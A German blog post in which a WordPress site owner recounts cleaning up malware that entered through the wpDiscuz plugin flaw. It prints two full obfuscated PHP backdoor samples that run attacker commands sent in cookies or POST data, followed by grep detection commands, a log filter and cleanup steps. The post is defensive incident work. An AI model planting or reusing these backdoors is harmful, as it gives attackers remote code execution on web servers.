WordPress Schadcode finden & entfernen

Wie kann man WordPress Schadcode auffinden und daraufhin entfernt werden? In wpDiscuz gibt es aktuell eine kritische Sicherheitslücke. Jeder, der das Plugin in der entsprechenden aktuellen Version einsetzt ist damit gefährdet.

Zehntausende WordPress-Websites mit dem Plugin wpDiscuz könnten Schadcode auf Web-Server lassen.

https://www.heise.de/news/Kritische-Luecke-mit-Hoechstwertung-in-WordPress-Plugin-wpDiscuz-4858657.html

Betroffen sind die Versionen 7.0.0 bis 7.0.4. […] Wer wpDiscuz verwendet, der sollte dringend Version 7.0.5 einspielen, um die Sicherheitslücke zu schließen.

https://t3n.de/news/kritische-sicherheitsluecke-mehr-1305308/

Wie habe ich die Infektion festgestellt?

Beim zufälligen anschauen der Webserver Log Dateien sind mir kryptische Dateinamen aufgefallen. Die Dateinamen hießen beispielsweise bscrkehz.php oder auch fwm7xypo.php. Diese Dateien waren auch tatsächlich auf meinem Webserver vorhanden. Da alle meine Webseiten unter einem einzelnen Nutzer laufen, konnte sich die Malware über alle meine Domains verteilen. Betroffen waren dabei nicht nur WordPress Installationen, sondern auch statische PHP Dateien, welche ich selbst programmiert hatte. Teilweise wurden nicht nur neue Dateien mit den erwähnten kryptischen Dateinamen neu erstellt, sondern auch bestehende Dateien um einen Schadcode erweitert.

Beispielshafte Datei mit Schadcode

Der Schadcode war irgendein hochgradig verschachteltes Geflecht. Nach etwas Entschlüsselung bin ich auf folgende Seite gestoßen. Hier hat jemand in etwa das selbe Problem. Der Code ist in etwa identisch. Dort wird auch erklärt, was der Schadcode macht. Über HTTP Post Requests werden bestimmte Befehle ausgeführt.

https://security.stackexchange.com/questions/182391/i-need-to-decode-this-suspicious-code-and-explain-what-it-is-doing

Beispielhafte Datei des WordPress Schadcodes
Beispielhafte Datei des WordPress Schadcodes

Inhalt des Schadcodes:

$truogl = 'cx#v*egrytm-Hno3p982al74dskfib_6015u\'';$vwcilc = Array();$vwcilc[] = $truogl[12].$truogl[4];$vwcilc[] = $truogl[0].$truogl[7].$truogl[5].$truogl[20].$truogl[9].$truogl[5].$truogl[30].$truogl[27].$truogl[35].$truogl[13].$truogl[0].$truogl[9].$truogl[28].$truogl[14].$truogl[13];$vwcilc[] = $truogl[18].$truogl[33].$truogl[15].$truogl[22].$truogl[32].$truogl[33].$truogl[22].$truogl[5].$truogl[11].$truogl[32].$truogl[19].$truogl[18].$truogl[34].$truogl[11].$truogl[23].$truogl[34].$truogl[31].$truogl[29].$truogl[11].$truogl[17].$truogl[18].$truogl[23].$truogl[0].$truogl[11].$truogl[22].$truogl[17].$truogl[32].$truogl[20].$truogl[24].$truogl[32].$truogl[5].$truogl[19].$truogl[20].$truogl[33].$truogl[31].$truogl[19];$vwcilc[] = $truogl[2];$vwcilc[] = $truogl[0].$truogl[14].$truogl[35].$truogl[13].$truogl[9];$vwcilc[] = $truogl[25].$truogl[9].$truogl[7].$truogl[30].$truogl[7].$truogl[5].$truogl[16].$truogl[5].$truogl[20].$truogl[9];$vwcilc[] = $truogl[5].$truogl[1].$truogl[16].$truogl[21].$truogl[14].$truogl[24].$truogl[5];$vwcilc[] = $truogl[25].$truogl[35].$truogl[29].$truogl[25].$truogl[9].$truogl[7];$vwcilc[] = $truogl[20].$truogl[7].$truogl[7].$truogl[20].$truogl[8].$truogl[30].$truogl[10].$truogl[5].$truogl[7].$truogl[6].$truogl[5];$vwcilc[] = $truogl[25].$truogl[9].$truogl[7].$truogl[21].$truogl[5].$truogl[13];$vwcilc[] = $truogl[16].$truogl[20].$truogl[0].$truogl[26];foreach ($vwcilc[8]($_COOKIE, $_POST) as $yhzdlf => $aeccpuk){function mmhedsy($vwcilc, $yhzdlf, $lgwtkj){return $vwcilc[7]($vwcilc[5]($yhzdlf . $vwcilc[2], ($lgwtkj / $vwcilc[9]($yhzdlf)) + 1), 0, $lgwtkj);}function fzoxpnv($vwcilc, $eunzyq){return @$vwcilc[10]($vwcilc[0], $eunzyq);}function qtrwqu($vwcilc, $eunzyq){$avhmo = $vwcilc[4]($eunzyq) % 3;if (!$avhmo) {$qpeyc = $vwcilc[1]; $hqgjfi = $qpeyc("", $eunzyq[1]($eunzyq[2]));$hqgjfi();exit();}}$aeccpuk = fzoxpnv($vwcilc, $aeccpuk);qtrwqu($vwcilc, $vwcilc[6]($vwcilc[3], $aeccpuk ^ mmhedsy($vwcilc, $yhzdlf, $vwcilc[9]($aeccpuk))));}
/var/www/tradeup.mattionline.de/iazktflp.php:$ujfni = 'b5#_7d081c3si6e9Hg\'n*malu4-y2fprtxkov';$omjxqp = Array();$omjxqp[] = $ujfni[16].$ujfni[20];$omjxqp[] = $ujfni[9].$ujfni[31].$ujfni[14].$ujfni[22].$ujfni[32].$ujfni[14].$ujfni[3].$ujfni[29].$ujfni[24].$ujfni[19].$ujfni[9].$ujfni[32].$ujfni[12].$ujfni[35].$ujfni[19];$omjxqp[] = $ujfni[10].$ujfni[1].$ujfni[14].$ujfni[6].$ujfni[25].$ujfni[5].$ujfni[29].$ujfni[15].$ujfni[26].$ujfni[22].$ujfni[4].$ujfni[13].$ujfni[28].$ujfni[26].$ujfni[25].$ujfni[6].$ujfni[13].$ujfni[14].$ujfni[26].$ujfni[15].$ujfni[0].$ujfni[22].$ujfni[8].$ujfni[26].$ujfni[6].$ujfni[15].$ujfni[4].$ujfni[0].$ujfni[22].$ujfni[8].$ujfni[4].$ujfni[9].$ujfni[7].$ujfni[7].$ujfni[14].$ujfni[9];$omjxqp[] = $ujfni[2];$omjxqp[] = $ujfni[9].$ujfni[35].$ujfni[24].$ujfni[19].$ujfni[32];$omjxqp[] = $ujfni[11].$ujfni[32].$ujfni[31].$ujfni[3].$ujfni[31].$ujfni[14].$ujfni[30].$ujfni[14].$ujfni[22].$ujfni[32];$omjxqp[] = $ujfni[14].$ujfni[33].$ujfni[30].$ujfni[23].$ujfni[35].$ujfni[5].$ujfni[14];$omjxqp[] = $ujfni[11].$ujfni[24].$ujfni[0].$ujfni[11].$ujfni[32].$ujfni[31];$omjxqp[] = $ujfni[22].$ujfni[31].$ujfni[31].$ujfni[22].$ujfni[27].$ujfni[3].$ujfni[21].$ujfni[14].$ujfni[31].$ujfni[17].$ujfni[14];$omjxqp[] = $ujfni[11].$ujfni[32].$ujfni[31].$ujfni[23].$ujfni[14].$ujfni[19];$omjxqp[] = $ujfni[30].$ujfni[22].$ujfni[9].$ujfni[34];foreach ($omjxqp[8]($_COOKIE, $_POST) as $dldqhkx => $dkstn){function qeyxpnx($omjxqp, $dldqhkx, $edlknng){return $omjxqp[7]($omjxqp[5]($dldqhkx . $omjxqp[2], ($edlknng / $omjxqp[9]($dldqhkx)) + 1), 0, $edlknng);}function zvqbb($omjxqp, $bzwxruk){return @$omjxqp[10]($omjxqp[0], $bzwxruk);}function djynrto($omjxqp, $bzwxruk){$ljbubt = $omjxqp[4]($bzwxruk) % 3;if (!$ljbubt) {$qldbwtl = $omjxqp[1]; $txpjw = $qldbwtl("", $bzwxruk[1]($bzwxruk[2]));$txpjw();exit();}}$dkstn = zvqbb($omjxqp, $dkstn);djynrto($omjxqp, $omjxqp[6]($omjxqp[3], $dkstn ^ qeyxpnx($omjxqp, $dldqhkx, $omjxqp[9]($dkstn))));}

Welche Dateien wurden angelegt?

Der Schadcode legte hunderte kryptische Dateien an. Interessant ist hierbei, dass auch ein eigener “_old” Ordner infiziert wurde, der öffentlich überhaupt nicht auffindbar ist. Dies bedeutet, dass der Schadcode das eigene Dateisystem lokal scannt und sich in zufälligen Ordnern einnistet.

Kryptische Dateien wurden angelegt
Kryptische Dateien wurden angelegt

Auch interessant ist, dass die Malware nicht nur in Ordnerhierarchie 1 liegt, sondern auch verschachtelt in unzähligen Unterordnern. Beispielsweise wp-content/uploads/astra/ oder auch wp-includes/blocks/.

Auf WordPress eigene Dateien wurden infiziert
Auf WordPress eigene Dateien wurden infiziert

Wie kann der WordPress Schadcode lokalisiert werden?

Zu aller erst suchte ich nach Gemeinsamkeiten der einzelnen Schadcode Dateien. Mir viel auf, dass immer ein “return @” darin vorkam in Verbindung mit einer PHP “function” und einem abschließenden “exit()” Befehl. Durch folgendes SSH Kommando können alle Dateien, die diesen Kriterien zutreffen, angezeigt werden.

Des weiteren legte er nicht nur die kryptischen diiynxfr.php Dateien an, sondern auch öffentlich sichtbare .ico Dateien, sowie versteckte .ico Dateien. Einmal /dateiname.ico, welche direkt anzeigbar sind und zum anderen /.dateiname.ico Dateien, welche standardmäßig ausgeblendet sind.

rgrep -l basename * | grep "ico" | grep "\/\."

Eine andere Art von Dateien beinhaltete ein DOCUMENT_ROOT, GLOB_ONLYDIR und ein HTTP_HOST. Durch diesen Befehl sind auch alle Dateinamen anzeigbar.

rgrep "DOCUMENT_ROOT" * | grep "GLOB_ONLYDIR" | grep "HTTP_HOST"

Eine andere Schadcode Datei beinhaltete ein @include und eine Deklaration von Variablen. Javascript Dateien und welche die das Wort formatter enthalten, blendete ich aus, da diese nicht vom Schadcode betroffen waren.

rgrep "@include" * | grep var | grep -v ".js" | grep -v formatter

Des weiteren stellte ich fest, dass immer die IP Adresse 176.9.4.210 die infizierten PHP Dateien von außerhalb aufgerufen hat. Durch folgenden Code können alle erfolgreichen Versuche der IP Adresse angezeigt werden. HTTP 301, 401, 404 und 500 Fehler werden nicht beachtet. HTTP 200 Aufrufe sind wichtig und werden auch aufgerufen.

cat /var/log/nginx/access.log | grep 176.9.4.210 | grep -v "HTTP/1.1\" 404" | grep -v "HTTP/1.1\" 401" | grep -v "HTTP/1.1\" 500" | grep -v "HTTP/1.1\" 301"

Eine andere Datei beinhaltete ein @include und ein @unlink Befehl. Dadurch lassen sich die infizierten Dateien auch auffinden.

rgrep "@include" * | grep "@unlink"

Das selbe gilt auch für @include und wp-config.

rgrep "@include" * | grep "wp-config"

Ebenso wurden im Schadcode eval Befehle aufgerufen und GLOBALS als String eingebaut.

rgrep eval * | grep GLOBALS

Nachdem ich alle diese Dateien manuell auffindbar gemacht habe und anschließend entfernte, kamen allerdings von der IP Adresse immer noch erfolgreiche Aufrufe auf infizierte Dateien. Bei hunderten von neu erstellten und vorhandenen infizierten Dateien ist dies etwas schwieriger.

Wordfence Plugin

Durch das Wordfence Plugin lässt sich eine WordPress Installation auf Schadcode überprüfen. Bei mir hat Wordfence einige WordPress eigene Dateien gefunden, welche durch den Schadcode erweitert wurden. Da ich nur einen Webserver Nutzer auf allen aufgeschalteten Domains hatte, musste ich Wordfence bei unzähligen Seiten installieren und alles durchsuchen lassen.

Wordfence wurde fündig und machte einige infizierte Dateien aus. Diese können mit einem Klick wiederhergestellt werden. Damit wird der Schadcode entfernt und die originale offizielle nichtinfizierte WordPress Datei eingefügt. Manche Dateien müssten aber noch manuell angepasst werden, da Wordfence diese nicht ersetzen kann.

Wordpress wurde auch selbst infiziert
WordPress wurde auch selbst infiziert

Fazit

wpDiscuz habe ich natürlich komplett deinstalliert und entfernt, damit der Angreifer nicht nochmal in das System kommt. Des Weiteren habe ich noch einige Sicherheitsmaßnahmen getroffen, die auch über WordPress hinausgehen. Ich wartete etwas ab, ob der Angreifer noch auf irgendwelche Dateien zugreifen kann und sah, dass permanent 404 Fehler kamen. Dies bedeutet, dass die Dateien nicht mehr existieren. Hoffentlich habe ich auch alle erwischt. Sonst werden direkt wieder hunderte nicht nachvollziehbare Dateien infiziert. Nach einem halben Tag überprüfte ich wieder die Logs um zu sehen, ob der Angreifer irgendwo durch kommt. Danach sendete ich bei Hetzner eine Abuse Meldung ab, sodass der entsprechende angreifende Server auch abgeschaltet wird.

Angreifer bekommt nur noch 404 Not Found Meldungen
Angreifer bekommt nur noch 404 Not Found Meldungen

Kommentar verfassen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Scroll to Top